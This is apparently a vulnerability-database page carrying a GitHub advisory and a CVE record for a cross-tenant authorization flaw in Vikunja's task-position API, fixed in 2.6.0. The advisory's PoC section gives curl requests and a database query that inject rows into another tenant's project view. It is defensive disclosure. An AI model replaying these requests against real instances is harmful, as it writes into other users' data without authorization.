Vulnerability-Lookup

GHSA-W39F-H553-H2MX

Vulnerability from github – Published: 2026-10-09 20:51 – Updated: 2026-10-09 20:51

Summary

Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)

Details

Summary

The task-position endpoint authorizes only the task side of the write: TaskPosition.CanUpdate delegates to Task.CanUpdate (write access to the task's own project) and the request body's project_view_id is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist (task_id, project_view_id, position) rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below MinPositionSpacing, 0.01) enter the recalculation branch, but RecalculateTaskPositions aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.

Details

Affected endpoints (both verified):

v1: POST /api/v1/tasks/{id}/position
v2: PUT /api/v2/tasks/{id}/position

Root cause in pkg/models/task_position.go:

CanUpdate (lines 61-64) checks only Task.CanUpdate — i.e. the caller's write access to the task's own project.
updateTaskPosition (lines 174-232) upserts (task_id, project_view_id, position) directly; there is no check that the view belongs to the task's project and no access check on the view's project.
ProjectViewID is body-bindable (json:"project_view_id", no readOnly/param restriction, line 42).

Contrast with the fixed sibling: the bucket-move endpoint (POST /projects/{project}/views/{view}/buckets/{bucket}/tasks, pkg/models/kanban_task_bucket.go:53-68) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.

Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives 200 {"task_id": ..., "project_view_id": <victim view>, "position": ...} on both v1 and v2, and the row is persisted (verified directly in the task_positions table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but RecalculateTaskPositions returns 403 (getRelevantProjectsFromCollection → CanRead on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.

PoC

Steps use the owner of the victim project (token $OWNER) and an attacker with only their own project (token $ATTACKER). All requests were executed against a local Vikunja 2.5.0 instance.

Owner creates a private project (default views included) and lists its views to obtain a victim view ID:

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
  -H 'Content-Type: application/json' -d '{"title":"victim"}'
# -> {"id":200,...}

curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER"
# -> [{"id":771,"view_kind":"kanban",...}, ...]   # remember VIEW=771

Attacker creates their own project and a task in it:

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"title":"attacker"}'
# -> {"id":201,...}

curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"title":"evil"}'
# -> {"id":105,...}

Baseline — attacker positions their task in their own view (succeeds, expected):

curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}'
# -> 200

Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):

curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}'
# -> 200 {"task_id":105,"project_view_id":771,"position":100}

curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}'
# -> 200 (v2 twin behaves identically)

Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):

curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 1}'
# -> 403 Forbidden

Persistence proof — the cross-tenant row exists in the database:

docker exec <db> psql -U vikunja -d vikunja -t -A -c \
  "SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;"
# -> 105|100        (row for the attacker's task inside the victim's view namespace)

Observed result: steps 4 and 6 succeed — a task_positions row (attacker_task, victim_view) is created and persisted; step 5 is refused with 403. Note: "position": 1 is above MinPositionSpacing (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).

Impact

Impact summary: a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated low — the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join task_positions without re-checking task-project access.

Broken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension — the task — while the write targets another — the view). Any authenticated user holding a single writable task can persist rows into any other tenant's view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (< 0.01) enters the branch but RecalculateTaskPositions fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a FOR UPDATE lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in CanUpdate or before the upsert, load the view by tp.ProjectViewID and require view.ProjectID == task.ProjectID (and/or caller access to the view's project), mirroring the bucket-side fix for GHSA-569v.

Severity

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91984"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:51:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task\u0027s own project) and the request body\u0027s `project_view_id` is never validated to belong to the task\u0027s project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant\u0027s project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes \u2014 only the plain row insert (position \u2265 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.\n\n## Details\n\nAffected endpoints (both verified):\n\n- v1: `POST /api/v1/tasks/{id}/position`\n- v2: `PUT /api/v2/tasks/{id}/position`\n\nRoot cause in `pkg/models/task_position.go`:\n\n- `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` \u2014 i.e. the caller\u0027s write access to the task\u0027s own project.\n- `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task\u0027s project and no access check on the view\u0027s project.\n- `ProjectViewID` is body-bindable (`json:\"project_view_id\"`, no readOnly/param restriction, line 42).\n\nContrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes \u2014 the position endpoint was never given the equivalent view-side check.\n\nObserved behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {\"task_id\": ..., \"project_view_id\": \u003cvictim view\u003e, \"position\": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim\u0027s own task is correctly refused with 403, isolating the missing view-side check. The victim\u0027s listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (\u003c 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` \u2192 `CanRead` on the victim project) before any recalculation runs, rolling the whole request back \u2014 so the low-position variant persists nothing and never rewrites the victim\u0027s ordering.\n\n## PoC\n\nSteps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance.\n\n1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $OWNER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"victim\"}\u0027\n# -\u003e {\"id\":200,...}\n\ncurl \"$BASE/api/v1/projects/200/views\" -H \"Authorization: Bearer $OWNER\"\n# -\u003e [{\"id\":771,\"view_kind\":\"kanban\",...}, ...]   # remember VIEW=771\n```\n\n2. Attacker creates their own project and a task in it:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"attacker\"}\u0027\n# -\u003e {\"id\":201,...}\n\ncurl -X PUT \"$BASE/api/v1/projects/201/tasks\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"evil\"}\u0027\n# -\u003e {\"id\":105,...}\n```\n\n3. Baseline \u2014 attacker positions their task in their own view (succeeds, expected):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": \u003cOWN_VIEW\u003e, \"position\": 100}\u0027\n# -\u003e 200\n```\n\n4. Mutation \u2014 attacker writes their task\u0027s position into the victim\u0027s view (no access to it whatsoever):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": 771, \"position\": 100}\u0027\n# -\u003e 200 {\"task_id\":105,\"project_view_id\":771,\"position\":100}\n\ncurl -X PUT \"$BASE/api/v2/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": 771, \"position\": 101}\u0027\n# -\u003e 200 (v2 twin behaves identically)\n```\n\n5. Control \u2014 attacker positioning the victim\u0027s own task is correctly refused (the task-level gate works; only the view side is missing):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/\u003cVICTIM_TASK\u003e/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": 771, \"position\": 1}\u0027\n# -\u003e 403 Forbidden\n```\n\n6. Persistence proof \u2014 the cross-tenant row exists in the database:\n\n```\ndocker exec \u003cdb\u003e psql -U vikunja -d vikunja -t -A -c \\\n  \"SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;\"\n# -\u003e 105|100        (row for the attacker\u0027s task inside the victim\u0027s view namespace)\n```\n\nObserved result: steps 4 and 6 succeed \u2014 a `task_positions` row `(attacker_task, victim_view)` is created and persisted; step 5 is refused with 403. Note: `\"position\": 1` is above `MinPositionSpacing` (0.01), so it never enters the recalculation branch \u2014 it is a plain upsert. A position \u003c 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).\n\n## Impact\n\n**Impact summary:** a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated **low** \u2014 the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join `task_positions` without re-checking task-project access.\n\nBroken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension \u2014 the task \u2014 while the write targets another \u2014 the view). Any authenticated user holding a single writable task can persist rows into any other tenant\u0027s view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (\u003c 0.01) enters the branch but `RecalculateTaskPositions` fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a `FOR UPDATE` lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in `CanUpdate` or before the upsert, load the view by `tp.ProjectViewID` and require `view.ProjectID == task.ProjectID` (and/or caller access to the view\u0027s project), mirroring the bucket-side fix for GHSA-569v.",
  "id": "GHSA-w39f-h553-h2mx",
  "modified": "2026-10-09T20:51:41Z",
  "published": "2026-10-09T20:51:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w39f-h553-h2mx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91984"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-broken-object-level-authorization-via-task-position"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)"
}

CVE-2026-91984 (GCVE-0-2026-91984)

Vulnerability from cvelistv5 – Published: 2026-09-15 15:18 – Updated: 2026-09-17 19:27

Title

Vikunja before 2.6.0 Broken Object-Level Authorization via task-position

Summary

Vikunja before 2.6.0 fails to validate that user-supplied project_view_id in task-position requests belongs to the task's project. Authenticated attackers can insert task position rows into arbitrary other tenant project views via POST or PUT task-position endpoints.

Severity

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-17 19:16 UTC

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 5277 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/go-vikunja/vikunja/security/ad…	vendor-advisory
https://www.vulncheck.com/advisories/vikunja-befo…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
go-vikunja	vikunja	Affected: 0 , < 2.6.0 (semver) Unaffected: 2.6.0 (semver) cpe:2.3:a:vikunja:vikunja::::::::

Date Public

2026-08-31 00:00

Credits

ybsun0215 JellowBeanz26

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-91984",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-17T19:16:26.702196Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-17T19:27:58.744Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "lessThan": "2.6.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.6.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.6.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "ybsun0215"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "JellowBeanz26"
        }
      ],
      "datePublic": "2026-08-31T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Vikunja before 2.6.0 fails to validate that user-supplied project_view_id in task-position requests belongs to the task\u0027s project. Authenticated attackers can insert task position rows into arbitrary other tenant project views via POST or PUT task-position endpoints."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "LOW",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T15:18:27.606Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-w39f-h553-h2mx)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w39f-h553-h2mx"
        },
        {
          "name": "VulnCheck Advisory: Vikunja before 2.6.0 Broken Object-Level Authorization via task-position",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-broken-object-level-authorization-via-task-position"
        }
      ],
      "title": "Vikunja before 2.6.0 Broken Object-Level Authorization via task-position",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-91984",
    "datePublished": "2026-09-15T15:18:27.606Z",
    "dateReserved": "2026-09-15T11:10:41.354Z",
    "dateUpdated": "2026-09-17T19:27:58.744Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-W39F-H553-H2MX

Summary

Details

PoC

Impact

CVE-2026-91984 (GCVE-0-2026-91984)

Tags

Sightings

Nomenclature

Related by attack behaviour